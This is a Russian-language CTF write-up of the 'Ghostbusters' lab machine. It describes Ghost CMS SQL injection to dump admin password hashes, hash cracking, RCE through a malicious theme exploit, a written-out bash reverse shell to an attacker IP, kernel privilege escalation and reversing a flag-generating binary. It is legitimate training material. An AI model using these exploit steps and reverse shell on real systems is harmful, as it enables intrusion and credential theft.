Данный таск был частью 7 сезона CTF, который проводился на платформе aclabs.pro. Любителям фильма «Охотники за приведениями» рекомендую ознакомиться. Это необычная тачка с двумя флагами user и root. В центре внимания будет уязвимость в вебчике движка ghost cms, а вот флаги, вот здесь интереснее. Были случаи, когда участники брали рута, но не смогли найти ни одного флага. Поэтому считаю эту машину крайне инетресной.

Разведка

Первичный анализ цели, сбор информации.

sudo nmap -sC -sV -v 10.10.10.228
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 7+deb13u2 (protocol 2.0)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://Ghostbusters.acl/
| http-methods: |_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Из скана видим ничего необычного, 22 порт ssh и 80 порт веб. Не забываем добавить айпишник в etc/hosts с доменом ghostbusters.acl

Теперь я понял, почему машина называется ghostbusters. Во первых, этот движок я сразу узнал, потому что мой блог также использует его. Это ghost cms, со стандартной темой Casper в данном случае.

Поскольку у нас CMS, крайне важно знать версию, чтобы поискать уязвимости. Откроем исходники и изучим.

alt text
alt text

Если внимательно покапаться, то можно узнать версию и она = 6.19, которая уже к слову не совсем новая. Я недавно слышал об уязвимости и как раз версия подходящая.


Эксплуатация

После недолгих поисков, знаю конкретную версию, можно найти доступные CVE. Их кстати немало именно в 2026 году, есть даже с rce, но нужны креды, у нас их нет на данный момент.

Поэтому первая CVE которой мы воспользуемся это CVE-2026-26980 — 👻 Ghost CMS Unauthenticated SQLi via Content API. Данная уязвимость позволит нам узнать данные для входа в админ панель.

python3 main.py -u http://ghostbusters.acl/ -d mysql -T users -C email,password
alt text
alt text

Здесь важно указать тип базы данных, в проде обычно будет mysql, ее и выбираем.

Есть e‑mail и хэш пароля bcrypt 2*, Blowfish (Unix). Далее в дело вступает john, получаем пароль, входим в админку по адресу

http://ghostbusters.acl/ghost/#/signin

Итак мы в админке. У нас даже есть опция Code injection, который позволяет внедрить код в header или footer.

alt text
alt text

Однако прокинуть реверс шелл, у меня не получилось.

Далее я пошел искать уязвимости дальше, и нашел еще одну которая дает rce, за счет загрузки вредносной темы оформления. А поскольку мы имеем права админа, мы можем менять и загружать темы.

CVE-2026-29053 вот рабочий эксплойт, который создаст тему, нам нужно указать свой хост и порт для получения реверс шелла.

python3 exploit.py -i http://10.20.10.5 -p 4444
alt text
alt text

Берем сгенерированный архив и загружаем в админку, активируем и создаем страницу со слагом /rce.

alt text
alt text
alt text
alt text
alt text
alt text

Получаем кастрированный шелл от пользователя slimer, на котором мы не можем перемещаться.

alt text
alt text

Повышаем привелегии и читаем флаги (или нет?)

Сразу прокину человеческий шелл и стабилизирую его для удобной работы.

bash -c '/bin/sh -i >& /dev/tcp/10.20.10.2/4445 0>&1'
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo && fg
export TERM=xterm-256color
reset

Посмотрел в домашнем каталоге, флагов не обнаружил, нашел только скрытую папку.slimer в которой было изображение. Скачал, повертел его, через exiftool, steghide, ничего не нашел и пошел дальше искать.

Далее проверил версию ядра и у нас здесь Дебиан 6.12, а значит dirtyfrag должен отработать.

alt text
alt text

Получили рута. Ищем флаги. В папке root есть письмо.

root@Ghostbusters:/root# cat letter_for_you.txt Здравствуйте!
От лица всей команды хочу поблагодарить вас за помощь в восстановлении нашей инфраструктуры. Благодаря вашей работе нам удалось вернуть контроль над сайтом и устранить последствия действий Лизуна.
Однако работа ещё не завершена. Во время расследования выяснилось, что учётная запись root могла быть скомпрометирована. Пока её пароль не изменён, нельзя гарантировать, что злоумышленник не сможет снова получить доступ к системе.
Для завершения операции и полного восстановления безопасности необходимо изменить пароль пользователя root. После выполнения этой задачи вы сможете получить финальный отчёт и подтвердить успешное завершение работ.
Удачи!
Питер Венкман
Ghostbusters

Из письма ясно, что нужно изменить пароль у рута. Сказано — сделано.

sudo passwd

Пароль поменял, но ничего не произошло. Ушел в долгие поиски, хоть чего‑то. Это была первая машина, где я получил рута, но не могу найти хотя бы юзер флаг. Пошел грузить linpeas, может он что подскажет…

secservice.service                       loaded active running Ghostbusters Security Service  Potential issue in service: secservice.service  └─ RUNS_AS_ROOT: Service runs as root

Посмотрел на необычный сервис, который как раз таки схож с названием таска.

Далее ищем

find / -name "secservice"
/usr/local/bin/secservice
root@Ghostbusters:/tmp# ls -la /usr/local/bin/secservice
-rwx------ 1 root root 16960 Jun  8 17:05 /usr/local/bin/secservice
root@Ghostbusters:/tmp# file /usr/local/bin/secservice
/usr/local/bin/secservice: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4fbab9d6d064c0f836261702669298744de6b091, for GNU/Linux 3.2.0, not stripped

Понятно, что это бинарник и нужно снова браться за реверс.

Передаем открываем гидру.

alt text
alt text

Изучив исходники, понял, что я на правильном пути. Более того флаги уже существуют и user и root.

iVar1 = lstat("/home/slimer/.slimer/slimer.png",&sStack_10c8);
while ((iVar1 == 0 && ((sStack_10c8.st_mode & 0xf000) == 0x8000))) {  sleep(0xf);  iVar1 = lstat("/home/slimer/.slimer/slimer.png",&sStack_10c8);
}
create_user_report();

Вот это самая важная часть.

lstat проверяет статус файла /home/slimer/.slimer/slimer.png.

st_mode & 0xf000 — это наложение битовой маски S_IFMT (в восьмеричной системе 0170000), которая выделяет тип файла.

0×8000 — это константа S_IFREG (в восьмеричной 0100000), обозначающая обычный (регулярный) файл.

Цикл крутится (засыпая на 15 секунд), пока этот файл существует и является обычным файлом.

Получается, что этот файл, нужно либо переименовать, либо удалить, либо изменить символическую ссылку.

Поэтому я его переименовал и подождал 15 секунд.

alt text
alt text

Триггер сработал, цикл замкнулся и выдал флаг.

Рутовый флаг тоже появился в папке root, потому что я уже сменил пароль до этого из подсказки в письме.

alt text
alt text

Однако если вернуться к теме реверса, то в бинарнике есть и второй цикл.

while( true ) {  // ... очистка буфера local_1038 ...  iVar1 = get_root_hash(local_1038,0x1000);  if ((iVar1 != 0) && (iVar1 = strcmp(local_1038,(char *)&initial_root_hash), iVar1 != 0))    break;  sleep(0xf);
}
create_report("/root/final_report.txt",&DAT_001021c0,&root_flag,0x180);

Программа раз в 15 секунд заново вычисляет root_hash и сравнивает его с initial_root_hash, который она запомнила при старте.

Если хеши отличаются (strcmp!= 0), цикл прерывается.

Сразу после этого вызывается create_report, который берет данные из root_flag и записывает их в /root/final_report.txt.

Поэтому нужно изменить пароль, тем самым измениться хэш рута, о чем и было указано в письме.

Без такого письма, эта тачка врядли тянет на легкий уровень, потому как читать код на C крайне сложно, конечно есть ИИ, но в условиях CTF это тоже отнимает приличное количество времени.


Райтап от @alfabuster